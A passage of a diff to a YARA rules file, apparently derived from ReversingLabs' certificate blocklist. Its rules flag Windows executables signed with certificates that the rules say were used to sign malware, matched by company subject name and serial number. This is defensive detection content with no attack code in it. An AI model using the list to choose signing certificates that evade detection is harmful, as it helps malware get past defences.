] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_8F4C49Dae1F1Ff0Ebe9104C6F73242Bd : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Cbf91988Fb83511De1B3A7A520712E9C : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b7731056-1674-5375-a3cb-69632670d6d9" + id = "d2d71058-f7b9-594f-b099-75aa4774306f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9648-L9666" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3636-L3654" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a8c99cc30b791a76fe3cd48184bf95ee47abb30bd200128efd2f5295ee18f7b1" + logic_hash = "5862a8ec43d2e545f36b815ada2bb31c4384a8161c6956a31f3bd517532923fd" score = 75 quality = 90 tags = "INFO, FILE" @@ -20117,21 +42511,21 @@ rule REVERSINGLABS_Cert_Blocklist_8F4C49Dae1F1Ff0Ebe9104C6F73242Bd : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Contact Merger Holding ApS" and ( pe.signatures [ i ] . serial == "00:8f:4c:49:da:e1:f1:ff:0e:be:91:04:c6:f7:32:42:bd" or pe.signatures [ i ] . serial == "8f:4c:49:da:e1:f1:ff:0e:be:91:04:c6:f7:32:42:bd" ) and 1636039748 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Ltd. \"Eve Beauty\"" and ( pe.signatures [ i ] . serial == "00:cb:f9:19:88:fb:83:51:1d:e1:b3:a7:a5:20:71:2e:9c" or pe.signatures [ i ] . serial == "cb:f9:19:88:fb:83:51:1d:e1:b3:a7:a5:20:71:2e:9c" ) and 1578786662 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Ac3C05F1Cb9453De8E7110F589Fb32C0 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Ce3675Ae4Abfe688870Bcacb63060F4F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2578655e-6420-5a67-9116-cab5cf5bc195" + id = "586c9de9-e1b0-5d17-9783-c9e18dfdf463" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9668-L9686" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3656-L3674" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6328fd5dbb497c69ddc9151f85754669760b709ecbff3e8f320a40a62ca0dd2c" + logic_hash = "0c6f2ef55bef283a3f915fd8c1ced27c3c665f7f490caeea0f180c2d7fa2b2b5" score = 75 quality = 90 tags = "INFO, FILE" @@ -20141,21 +42535,21 @@ rule REVERSINGLABS_Cert_Blocklist_Ac3C05F1Cb9453De8E7110F589Fb32C0 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TRAIN BUILDING TEAM s.r.o." and ( pe.signatures [ i ] . serial == "00:ac:3c:05:f1:cb:94:53:de:8e:71:10:f5:89:fb:32:c0" or pe.signatures [ i ] . serial == "ac:3c:05:f1:cb:94:53:de:8e:71:10:f5:89:fb:32:c0" ) and 1635854205 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO \"MPS\"" and ( pe.signatures [ i ] . serial == "00:ce:36:75:ae:4a:bf:e6:88:87:0b:ca:cb:63:06:0f:4f" or pe.signatures [ i ] . serial == "ce:36:75:ae:4a:bf:e6:88:87:0b:ca:cb:63:06:0f:4f" ) and 1582675200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Fbb96A90B6718810311767Ca25Ab1E48 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_9813229Efe0046D23542Cc7569D5A403 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "77319b9c-6075-5ac7-958c-d76916873e85" + id = "0cf7573f-290d-58ac-989f-f82e9313d54e" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9688-L9706" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3676-L3694" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "431e3364a42b272d9b71b92dee44cc185ef034a45a0b72bbda82cf7e9b29c355" + logic_hash = "0d8f0df83572b8d31f29cb76f44d524fd1ae0467d2d99af959e45694524d18e8" score = 75 quality = 90 tags = "INFO, FILE" @@ -20165,21 +42559,21 @@ rule REVERSINGLABS_Cert_Blocklist_Fbb96A90B6718810311767Ca25Ab1E48 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Rakurs LLC" and ( pe.signatures [ i ] . serial == "00:fb:b9:6a:90:b6:71:88:10:31:17:67:ca:25:ab:1e:48" or pe.signatures [ i ] . serial == "fb:b9:6a:90:b6:71:88:10:31:17:67:ca:25:ab:1e:48" ) and 1636046757 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO \"MPS\"" and ( pe.signatures [ i ] . serial == "00:98:13:22:9e:fe:00:46:d2:35:42:cc:75:69:d5:a4:03" or pe.signatures [ i ] . serial == "98:13:22:9e:fe:00:46:d2:35:42:cc:75:69:d5:a4:03" ) and 1575849600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Cfd38423Aef875A10B16644D058297E2 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_86E5A9B9E89E5075C475006D0Ca03832 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f53e4f44-dde2-5f7a-8cab-71e91ff75d28" + id = "f3058f56-dcbb-532a-b914-5ac0e6d70e6e" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9708-L9726" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3696-L3714" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a2f67cbf31c9db2891892c31a7ed4ce7eccd834bfb10ae70f58e46f8e68e7c17" + logic_hash = "5ba0b0f1b104eb11023590b8ef2b9cc747372bc9310a754694d45d3b3ce293e9" score = 75 quality = 90 tags = "INFO, FILE" @@ -20189,21 +42583,21 @@ rule REVERSINGLABS_Cert_Blocklist_Cfd38423Aef875A10B16644D058297E2 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TRUST DANMARK ApS" and ( pe.signatures [ i ] . serial == "00:cf:d3:84:23:ae:f8:75:a1:0b:16:64:4d:05:82:97:e2" or pe.signatures [ i ] . serial == "cf:d3:84:23:ae:f8:75:a1:0b:16:64:4d:05:82:97:e2" ) and 1632884040 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BlueMarble GmbH" and ( pe.signatures [ i ] . serial == "00:86:e5:a9:b9:e8:9e:50:75:c4:75:00:6d:0c:a0:38:32" or pe.signatures [ i ] . serial == "86:e5:a9:b9:e8:9e:50:75:c4:75:00:6d:0c:a0:38:32" ) and 1574791194 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_E6C05C5A2222Bf92818324A3A7374Ad3 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_075Dca9Ca84B93E8A89B775128F90302 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2b5b79d8-e8fa-5593-b4c4-89af1f711152" + id = "2fa6b400-7c6c-5bc4-9cac-78d52003a24e" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9728-L9746" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3716-L3732" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "bea8fea49144abc109e33a5964bb8e113aa61b4cd70c72a43183cb0840429571" + logic_hash = "32af21e71fb3475c50de4cd8a24fa0aec1ee67bc01c1a3720c12f9ce822833c3" score = 75 quality = 90 tags = "INFO, FILE" @@ -20213,21 +42607,21 @@ rule REVERSINGLABS_Cert_Blocklist_E6C05C5A2222Bf92818324A3A7374Ad3 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ANAQA EVENTS LTD" and ( pe.signatures [ i ] . serial == "00:e6:c0:5c:5a:22:22:bf:92:81:83:24:a3:a7:37:4a:d3" or pe.signatures [ i ] . serial == "e6:c0:5c:5a:22:22:bf:92:81:83:24:a3:a7:37:4a:d3" ) and 1634720407 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "UAB GT-servis" and pe.signatures [ i ] . serial == "07:5d:ca:9c:a8:4b:93:e8:a8:9b:77:51:28:f9:03:02" and 1579305601 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_75Ce08Bdbad44123299Dbe9D7C1D20De : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0Ddce8Cdc91B5B649Bb4B45Ffbba6C6C : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "e8e2d3b6-077f-56ba-9f2a-1941bf2ebdeb" + id = "9de11ec8-f408-593c-895f-08dff703ff10" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9748-L9764" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3734-L3750" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8ba66ab55f9a6755e11a7f39152aa26917271c7f6bc5ffdb42d07ad791fb47d7" + logic_hash = "622e6ed08ca26908539519f37cf493f8030100bd5e88cb05e851b7d56b0f4c0d" score = 75 quality = 90 tags = "INFO, FILE" @@ -20237,21 +42631,21 @@ rule REVERSINGLABS_Cert_Blocklist_75Ce08Bdbad44123299Dbe9D7C1D20De : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Rose Holm International ApS" and pe.signatures [ i ] . serial == "75:ce:08:bd:ba:d4:41:23:29:9d:be:9d:7c:1d:20:de" and 1631007095 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SLIM DOG GROUP SP Z O O" and pe.signatures [ i ] . serial == "0d:dc:e8:cd:c9:1b:5b:64:9b:b4:b4:5f:fb:ba:6c:6c" and 1580722435 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_333705C20B56E57F60B5Eb191Eef0D90 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_9Bd614D5869Bb66C96B67E154D517384 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "7f98e550-fca6-564f-bbad-40e153f17adc" + id = "eb42b516-aac6-5bee-af1d-70e0e66700f5" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9766-L9782" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3752-L3770" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "30eeec467b837f6b1759cd0fd6a8bc2e8942f2400df170c671287f4159652479" + logic_hash = "d9eea38a1340797cef129b12cf2bb46c444e6f312db7356260f0ac0d9e63183d" score = 75 quality = 90 tags = "INFO, FILE" @@ -20261,21 +42655,21 @@ rule REVERSINGLABS_Cert_Blocklist_333705C20B56E57F60B5Eb191Eef0D90 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TASK Holding ApS" and pe.signatures [ i ] . serial == "33:37:05:c2:0b:56:e5:7f:60:b5:eb:19:1e:ef:0d:90" and 1634233052 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\"CENTR MBP\"" and ( pe.signatures [ i ] . serial == "00:9b:d6:14:d5:86:9b:b6:6c:96:b6:7e:15:4d:51:73:84" or pe.signatures [ i ] . serial == "9b:d6:14:d5:86:9b:b6:6c:96:b6:7e:15:4d:51:73:84" ) and 1581618180 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_A2A0Ba281262Acce7A00119E25564386 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_540Cea639D5D48669B7F2F64 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ab0c7b78-5e7e-5cb9-ae61-d88f3f8d9684" + id = "bfc514b6-43ef-5343-b5f2-d39168ba3e8d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9784-L9802" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3772-L3788" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f5e3c16f6caaf5f3152d90dc48895d0bbcdb296c368beeebb96157f03a8ded40" + logic_hash = "3d3774f10ff9949ea13a7892662438b84b3eb895fc986092649fa9b192170d48" score = 75 quality = 90 tags = "INFO, FILE" @@ -20285,21 +42679,21 @@ rule REVERSINGLABS_Cert_Blocklist_A2A0Ba281262Acce7A00119E25564386 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Sopiteks LLC" and ( pe.signatures [ i ] . serial == "00:a2:a0:ba:28:12:62:ac:ce:7a:00:11:9e:25:56:43:86" or pe.signatures [ i ] . serial == "a2:a0:ba:28:12:62:ac:ce:7a:00:11:9e:25:56:43:86" ) and 1631908320 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CENTR MBP LLC" and pe.signatures [ i ] . serial == "54:0c:ea:63:9d:5d:48:66:9b:7f:2f:64" and 1570871755 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_338483Cc174C16Ebc454A3803Ffd4217 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_03A7748A4355020A652466B5E02E07De : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ce30ace6-c2c2-5f3e-a2f7-1f08825d44eb" + id = "10134543-04fa-5a2f-8f77-98444ad1d7f0" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9804-L9820" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3790-L3806" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7d7dd55eaab15cf458e5e57f0e5fbebdcc9313aee05394310a5cf9d9b4def153" + logic_hash = "6dc6d0fd2b702939847981ff31c2d8103227ccd0c19f999849ff89c64a90f92f" score = 75 quality = 90 tags = "INFO, FILE" @@ -20309,21 +42703,21 @@ rule REVERSINGLABS_Cert_Blocklist_338483Cc174C16Ebc454A3803Ffd4217 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Lpr:n Laatu-Ravintolat Oy" and pe.signatures [ i ] . serial == "33:84:83:cc:17:4c:16:eb:c4:54:a3:80:3f:fd:42:17" and 1635208206 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Teleneras MB" and pe.signatures [ i ] . serial == "03:a7:74:8a:43:55:02:0a:65:24:66:b5:e0:2e:07:de" and 1575244801 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Be89936C26Cd0D845074F6B7B47F480C : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_B881A72D4117Bbc38B81D3C65C792C1A : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "3ff8149b-4a90-5593-b12a-d815b04fce7e" + id = "593c1799-a5df-5b3e-8a8b-826d808a14f0" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9822-L9840" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3808-L3826" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "348df24620bfe6322c410cb593f5caad67492b0b5af234ee89b0411beb4b48f9" + logic_hash = "bad2a06090f077ebc635d21446b47c9f115fe477567afb3d5994043f5a7883b1" score = 75 quality = 90 tags = "INFO, FILE" @@ -20333,21 +42727,21 @@ rule REVERSINGLABS_Cert_Blocklist_Be89936C26Cd0D845074F6B7B47F480C : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Argus Security Maintenance Systems Inc." and ( pe.signatures [ i ] . serial == "00:be:89:93:6c:26:cd:0d:84:50:74:f6:b7:b4:7f:48:0c" or pe.signatures [ i ] . serial == "be:89:93:6c:26:cd:0d:84:50:74:f6:b7:b4:7f:48:0c" ) and 1634235015 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Red GmbH" and ( pe.signatures [ i ] . serial == "00:b8:81:a7:2d:41:17:bb:c3:8b:81:d3:c6:5c:79:2c:1a" or pe.signatures [ i ] . serial == "b8:81:a7:2d:41:17:bb:c3:8b:81:d3:c6:5c:79:2c:1a" ) and 1581936420 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0F20A5155E53Ce20Bb644F646Ed6A2Fd : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_08653Ef2Ed9E6Ebb56Ffa7E93F963235 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d52066d5-9bc1-5f72-8e97-7efda88c14b2" + id = "9ac976c0-260f-5207-ae39-bbb722c38a92" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9842-L9858" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3828-L3844" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "70d57f2c24d4ae6f17339bfb998589a3b10f5dd4b19ac8a5bc99e082145c4ed0" + logic_hash = "5ae8d2fb03cd0f945c2f5eb86de4e5da4fbb1cdf233d8a808157304538ced872" score = 75 quality = 90 tags = "INFO, FILE" @@ -20357,21 +42751,21 @@ rule REVERSINGLABS_Cert_Blocklist_0F20A5155E53Ce20Bb644F646Ed6A2Fd : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CB CAM SP Z O O" and pe.signatures [ i ] . serial == "0f:20:a5:15:5e:53:ce:20:bb:64:4f:64:6e:d6:a2:fd" and 1635196200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Haw Farm LIMITED" and pe.signatures [ i ] . serial == "08:65:3e:f2:ed:9e:6e:bb:56:ff:a7:e9:3f:96:32:35" and 1581465601 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Ea734E1Dfb6E69Ed2Bc55E513Bf95B5E : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_9C4816D900A6Ecdbe54Adf72B19Ebcf5 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8e059a2a-c436-5247-b395-a2f594c1c9a9" + id = "bd22372d-774b-5e25-b4e5-47d34fe1c40b" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9860-L9878" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3846-L3864" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a18d1c1e5e22c1aa041a4b2d23d2aefcbedbd3517a079d578e1a143ecadb4533" + logic_hash = "92e8130f444417d5bc3788721280338bbed33e3362104de0cf27bc7c1fc30d0e" score = 75 quality = 90 tags = "INFO, FILE" @@ -20381,21 +42775,21 @@ rule REVERSINGLABS_Cert_Blocklist_Ea734E1Dfb6E69Ed2Bc55E513Bf95B5E : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Postmarket LLC" and ( pe.signatures [ i ] . serial == "00:ea:73:4e:1d:fb:6e:69:ed:2b:c5:5e:51:3b:f9:5b:5e" or pe.signatures [ i ] . serial == "ea:73:4e:1d:fb:6e:69:ed:2b:c5:5e:51:3b:f9:5b:5e" ) and 1635153791 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Datamingo Limited" and ( pe.signatures [ i ] . serial == "00:9c:48:16:d9:00:a6:ec:db:e5:4a:df:72:b1:9e:bc:f5" or pe.signatures [ i ] . serial == "9c:48:16:d9:00:a6:ec:db:e5:4a:df:72:b1:9e:bc:f5" ) and 1557187200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Ba67B0De51Ebb9B1179804E75357Ab26 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_269174F9Fe7C6Ed4E1D19B26C3F5B35F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "63938a97-2cb3-52b0-9717-c8949e3fae46" + id = "fbcf1f18-f612-5516-9a67-2564de76c456" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9880-L9898" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3866-L3882" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "69b9012fc4ab9636d159de49ff452f054030c1157cf70a95512b2a0748dad7c0" + logic_hash = "95c9720d6311c2fe7026b6cac092d59967479e6c9382eac1d26f7745efa92860" score = 75 quality = 90 tags = "INFO, FILE" @@ -20405,21 +42799,21 @@ rule REVERSINGLABS_Cert_Blocklist_Ba67B0De51Ebb9B1179804E75357Ab26 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Fjordland Bike Wear ApS" and ( pe.signatures [ i ] . serial == "00:ba:67:b0:de:51:eb:b9:b1:17:98:04:e7:53:57:ab:26" or pe.signatures [ i ] . serial == "ba:67:b0:de:51:eb:b9:b1:17:98:04:e7:53:57:ab:26" ) and 1636145940 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "GO ONLINE d.o.o." and pe.signatures [ i ] . serial == "26:91:74:f9:fe:7c:6e:d4:e1:d1:9b:26:c3:f5:b3:5f" and 1586386919 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Cff2B275Ba8A1Dde83Ac7Ff858399A62 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_523Fb4036368Dc26192D68827F2D889B : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "50cc539a-1f00-566d-a83f-b4d8459506d8" + id = "bfce2ea9-cbe0-5b58-b7f8-39d2dad28db6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L9900-L9918" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3884-L3900" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d37e1d94048339a86b8fa173d3ab753fc5e79329b73df9fda5815cd622c57745" + logic_hash = "f1886a046305637d335c493972560de56d8186bf99183aed5e2040b2e530fc22" score = 75 quality = 90 tags = "INFO, FILE" @@ -20429,21 +42823,21 @@ rule REVERSINGLABS_Cert_Blocklist_Cff2B275Ba8A1Dde83Ac7Ff858399A62 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "XL-FORCE ApS" and ( pe.signatures [ i ] . serial == "00:cf:f2:b2:75:ba:8a:1d:de:83:ac:7f:f8:58:39:9a:62" or pe.signatures [ i ] . serial == "cf:f2:b2:75:ba:8a:1d:de:83:ac:7f:f8:58:39:9a:62" ) and 1636111842 <= 